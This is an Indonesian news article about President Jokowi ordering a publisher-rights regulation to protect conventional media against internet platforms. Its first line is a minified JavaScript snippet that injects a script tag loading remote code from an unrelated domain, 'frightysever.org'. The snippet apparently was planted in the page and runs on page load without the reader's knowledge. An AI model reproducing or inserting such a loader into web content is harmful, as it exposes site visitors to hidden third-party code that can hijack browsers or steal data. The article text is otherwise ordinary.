(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA – Presiden Joko Widodo (Jokowi) memerintahkan jajaran menteri terkait untuk segera membuat rancangan regulasi publisher right. Regulasi tersebut bertujuan untuk melindungi publisher sehingga manfaat ekonomi bisa dinikmati secara berimbang.
“Saya akan perintahkan kepada menteri-menteri terkait dengan rancangan regulasi yang melindungi publisher agar manfaat ekonomi bisa dinikmati secara berimbang antara media konvensional dengan open the top yaitu layanan melalui internet,” ujar Jokowi dalam Puncak Peringatan Hari Pers Nasional Tahun 2021 di Istana Negara, Jakarta, Selasa (9/2/2021).
Mantan Gubernur DKI Jakarta itu menyadari industri media sedang terdesak dengan perkembangan media sosial yang sangat masif dan cepat.
Sehingga ia sepakat diperlukan konvergensi dan level playfield yang adil.
“Saya setuju diperlukan konvergensi dan level playfield yang adil. Sebagian aspirasi ini telah ditampung dalam Undang-Undang Cipta Kerja, yang saat ini barusan terbit PPnya, yaitu tentang Pos Telekomunikasi dan Penyiaran,” ucap dia.
Kendati demikian, Jokowi menegaskan pemerintah terus membuka diri terhadap masukan insan pers.
“Pemerintah masih membuka diri terhadap aspirasi dari awak media,” tutur Jokowi.
Tak hanya itu, Jokowi menyebut Undang-Undang Nomor 11 tahun 2020 tentang Cipta Kerja juga mengatur tentang digitalisasi penyiaran.
Karenanya, aturan tersebut perlu dioptimalkan oleh industri media.
“Perlu saya sampaikan juga bahwa UU cipta Kak Cipta kerja Sudah mengatur tentang digitalisasi penyiaran dan ini perlu dioptimalkan oleh industri media,” kata Jokowi.
Kepala Negara itu mengaku telah mendapat laporan terbitanya Peraturan Menteri (Permen) yang mengatur tata kelola penyelenggara sistem elektronik lingkup privat.
“Aturan ini mengatur keseimbangan antara perkembangan ekonomi digital dan kedaulatan data. Hal ini juga dimaksudkan untuk meningkatkan konvergensi antara media konvensional dengan platform digital,” katanya menambahkan.(suara)
Editor: Suara
KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More
KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More
KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More
This website uses cookies.